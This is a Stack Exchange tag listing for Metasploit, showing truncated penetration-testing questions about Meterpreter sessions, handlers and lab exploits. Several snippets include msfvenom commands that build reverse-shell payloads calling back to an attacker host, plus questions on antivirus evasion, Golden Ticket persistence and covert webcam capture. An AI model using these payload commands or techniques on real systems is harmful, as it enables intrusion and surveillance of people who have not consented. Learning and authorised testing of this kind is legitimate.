Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange
The results are in! See what nearly 90,000 developers picked as their most loved, dreaded, and desired coding languages and more in the 2019 Developer Survey.

Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

0
votes
1answer
61 views

PHP HTTP Reverse Shell?

Is there a PHP HTTP reverse shell? I haven't been able to find one, only ones that transmit using TCP packets (not HTTP). Note, I mean actually using HTTP packets as the C2, not just transmitting TCP ...
0
votes
0answers
22 views

Linux Kernel exploitation via MSFconsole

I am running a server with the service linux kernel to practice pentesting with metasploit. I am trying to use CVE-2019-10124 to take it down, however I don't really know how to. I am aware that ...
0
votes
2answers
66 views

Metasploit Starts attacking multiple targets, results in “address is already in use”

I am attempting to pentest multiple Weblogic servers, however, when I "run" or "exploit" or even "exploit -J", metasploit begins to attack multiple targets at once, which results in "address is ...
0
votes
0answers
50 views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
0
votes
0answers
29 views

Prevent Handler From Starting On Exploit

Ok, I want to be able to start up my handler in the background, and then attack multiple targets without each exploit starting its on handler... For instance, when I am attacking a target... [*] ...
0
votes
0answers
66 views

MetaSploit db_import IP Address List

I have confirmed that msfconsole is connected to the database, and I have issued to the following commands... msf5 > db_status [*] Connected to remote_data_service: (https://localhost:5443). ...
0
votes
0answers
45 views

How do i pivot over WAN

How would i be able to pivot into a internal network over the internet (WAN)? For example: I have a vps with metasploit installed and have a listener running and got a few meterpreter sessions, how ...
0
votes
0answers
31 views

Meterpreter Upload won't work

I am trying to follow a walkthrough for a CTF and there is one point where i have to upload a unix-privesc-check file to the other machine. Well when i use the command i get this response upload /...
1
vote
0answers
29 views

Use Kerberos Golden Ticket with Metasploit

Having compromised a domain controller during testing, I now wish to create persistent domain admin access. Also, operational security is important for me as I don't want to be logging into netowkr ...
-2
votes
0answers
59 views

create PDF payloads in Metasploit

I do this to generate an exe in Metasploit msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.225 LPORT=8500 -f exe > shazzy.exe And it generates the exe, no trouble Should I want to ...
0
votes
0answers
31 views

Migrate into different process each time a shell spawns

I'm trying to migrate into a new process whenever I get a session. I did this by using set autorunscript migrate -f and also set prependmigrate true but the problem is whenever I get 2+ shells on the ...
0
votes
0answers
32 views

Is Metasploit payload stored locally or residing in memory temporarily on a victim's device?

A simple question on where the payload is when being exploited. Tried some testing on metasploit and got a message saying the payload's been uploaded successfully under /tmp in a linux target machine ...
0
votes
1answer
100 views

How do I get back to a Meterpreter shell after backgrounding it?

Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session. In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
0answers
50 views

Meterpreter Over HTTPS Proxy

I have a proxy server on the WAN as well as my box open to the WAN. I want this proxy server to (when it receives a shell), route it to my host so it can be the "man in the middle" between my ...
1
vote
0answers
170 views

127.0.0.1 - Meterpreter session 2 closed. Reason: Died

I am new at metasploit and am trying to pentest an Android 5.1 device, so I setup for a stageFright attack but am having this issue: the 'meterpreter session closed' immediately, and the ngrok ...
0
votes
0answers
49 views

Metasploit wmap_run -e freezes on auxiliary/scanner/http/brute_dirs module, returns 404

I am trying to run a wmap scan on a web app locally on my Mac. But when wmap reached File/Dir testing, more specifically the brute force module, it does not show anything for path (even though the ...
0
votes
0answers
17 views

Using stack-based memory_dump, the value of esp in query_regs is always 0

I was trying to use https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/memory_grep.rb using the stack-based method. However it wasn't working. What I do is ...
3
votes
0answers
113 views

How is it possible that the Metasploit meterpreter can take pictures without “notifying” the user?

Im curious how the Meterpreter can take pictures from my webcam without turning on the webcam LED? Ive read that you have to write/change a driver, or a firmware, or you just change some DLLs, but ...
0
votes
1answer
76 views

How to launch a Metasploit module with arguments in just one command

I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
1
vote
1answer
136 views

openVAS: uninitialized constant OpenVASOMP::OMPConnectionError [closed]

I was searching in many forums regarding this issue like here and here, but they were mentioning using port 9390. I launched OpenVAS on port 9390, but I still get the same error. I am using openVAS ...
1
vote
1answer
236 views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
0
votes
0answers
100 views

Exploit TinyCore Linux 4.2.9 with DirtyCow remote from Kali Linux

Do you know if is possible execute an exploit from Kali Linux for obtain root privileges in a remote machine (that I have exploited before with a local user) with tiny-core Linux version 4.2.9, I've ...
0
votes
0answers
57 views

Metasploit - AutoRunScript for a shell session

I have a bunch of bash commands I want to run when the shell_reverse_tcp session is hooked. I tried to : put all my commands into a file mycommands.bash then "set AutoRunScript mycommands.bash" -> ...
0
votes
0answers
73 views

ms08_067_netapi Fingerprint: Unknown - - lang:Unknown

I'm trying to get my first exploit to work on metasploit. I'm working with the book "Penetration Testing - A hands-on introduction to Hacking". I'm trying to use the ms08_76_netpi exploit on Windows ...
-1
votes
1answer
61 views

msfvenom produces different op codes when format is given with 'c' instead of 'python'

I still do not understand the msfvenom format ( -f ) parameter regarding the resulting op codes. I do not understand why a payload consists of different op codes when the format ( -f ) is different, ...
0
votes
0answers
57 views

Metasploit : How to put non-post modules in an AutoRunScript

In multi/handler I want to add some AutoRunScripts when the session begins : exploit/osx/local/persistence. But it doesn't work because it's not a post/ module.
0
votes
1answer
51 views

Metasploit: java_signed_applet attack hangs after user response

I am trying to perform a client side attack with Metasploit on a 32 bit Windows 7 Professional N (SP1) victim. I have Windows Defender and Firewall disabled and Java Control Panel Security set at ...
0
votes
1answer
196 views

Metasploit Handler doesnt show options

I am trying to use exploit/multi/handler module which I have used before and it does not allow me to set options. The options commands displays nothing. I tried reinstalling (apt-get remove metasploit-...
-1
votes
1answer
102 views

How to identify the vulnerabilities in a target computer?

I ran an exploit on the victim and used a msfvenom payload. I am on the victim's computer but I have not the root privileges. I tried to use getsystem command for getting privilege but it failed. So ...
0
votes
0answers
144 views

Msfvenom : Create Windows payload that asks for admin privileges automatically

So I can create a Windows payload with msfvenom with a simple command, for example : msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.58.109 LPORT=4485 EXITFUNC=...
1
vote
1answer
117 views

Metasploit MacOS victim - tools to enable remote desktop / GUI view of the victim

If the exploited victim OS is Windows, metasploit has the getgui command to run RDP. Then he can manipulate the victim OS through the GUI desktop interface. meterpreter > run getgui -u loneferret -...
-2
votes
1answer
137 views

what is metasploit framework even used for? [closed]

I know how the Metasploit framework works and I know that it can generate payloads and such, my question is if there is a way to evade anti-virus using Metasploit payloads. What exact purpose does it ...
1
vote
1answer
586 views

Reverse PHP shell disconnecting when netcat listener

Whilst performing a penetration test on a testing box, I came across a vulnerability regarding LotusCMS: https://www.exploit-db.com/exploits/18565 Rather than rely on Metasploit or Meterpreter to ...
1
vote
0answers
124 views

Metasploit: Exploit not starting connection to handler [closed]

I am using an Android 4.4 VirtualMachine and a Kali Linux 2018.4 VirtualMachine. Lan Network: Kali VM : 10.0.0.27 Android VM : 10.0.0.29 I did a .apk of the WeChat app with kwetza on Kali : git ...
1
vote
0answers
40 views

Limited ESP Length in Buffer Overflow Sample C Program

May I know how to increase the length of ESP on a sample c program which allows me to execute shellcode on the stack. However, as of now, the sample c program only has an ESP length of 61 thus ...
2
votes
1answer
704 views

Nessus found a vulnerability, but no corresponding exploit on Metasploit : How to run with meterpreter

I ran Nessus on a local network, it found a critical vulnerability for the router: MikroTik RouterOS < 6.41.3 SMB Buffer Overflow (Vulnerability description : Exploit-db) But I can't find any ...
2
votes
1answer
127 views

Can't log in dvwa with a simple python program, even though login credentials are good

import requests target_url = "http://127.0.0.1/dvwa/login.php" data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"} ...
4
votes
1answer
891 views

Metasploit is not detecting newly imported python exploit

I have added OpenSSH 7.2p2 - Username Enumeration exploit to Metasploit, which is a python exploit. But after so, it does not detect that exploit every way I tried. I have placed it under the ...
1
vote
1answer
669 views

Windows 64-bit Reverse TCP Shell not working

I am sending shellcode to a 64-bit binary running on a Windows machine. This binary, copies the shellcode to an executable region of memory and executes it. I am generating the shellcode using ...
2
votes
0answers
243 views

How to run Metasploit WMAP on site that requires SNI

Apologies if this an obvious question, documentation seems to be a bit thin on the ground. I'm attempting to scan (with permission) a site that redirects to its https version, and requires SNI to ...
1
vote
1answer
2k views

Username and password files in Kali [duplicate]

I'm new to pen-testing world. I'm trying to learn how to gain access through telnet service opened on port 23. I'm using Metasploit. The first approach I'm trying is using the telnet_login module to ...
0
votes
1answer
88 views

How to set autorunscript of core commands?

I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
-2
votes
1answer
255 views

Open ports 6002 and 9002? [closed]

So I was scanning a clients computer and nmap came up with two open ports: 6002 and 9002. Both are running Telnet and both have the same banner in Spanish: Spanish to English translation You are ...
0
votes
1answer
132 views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
1
vote
1answer
113 views

Programming Metasploit

I try to make a Metasploit AutoRunScript for android. The First .rc file has this config use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST xxx.xxx.xxx.xxx (my IP) set ...
0
votes
1answer
53 views

Disable modules in Metasploit Pro

I have been using Metasploit pro for last few days. I understand that exploiting in Pro version is automatic using exploit ranks(GUI). But If I want to disable certain modules while exploiting, is it ...
5
votes
1answer
3k views

How would I turn an open telnet shell into a Metasploit session?

I'm trying to pivot using a metasploitable2 system, which has a shell port open in a scan: port status service 1524/tcp open shell Accessing the root shell is easy enough in telnet, ...
0
votes
2answers
558 views

SambaCry CVE-2017-7494 returns “Exploit completed, but no session was created”

I am using this exploit on msfconsole to exploit a VM with samba and the configuration is as follows: Module options (exploit/linux/samba/sambacry) Payload options (linux/x64/meterpreter/reverse_tcp) ...
0
votes
1answer
90 views

trans2open not working on metasploit

I am using metasploit to exploit a vulnerable version of Samba on a remote host. Samba version 2.2.8, downloaded directly from the cve site. But when I use trans2open exploit with payload (generic/...
1
vote
1answer
191 views

Metasploit x86/unicode_upper failed with “An encoding exception occurred”

I'am playing a bit with assembler and I decided to test out how metasploit encodes a payload into Unicode uppercase characters as assembly instructions which are meant to be decoded by itself. So I ...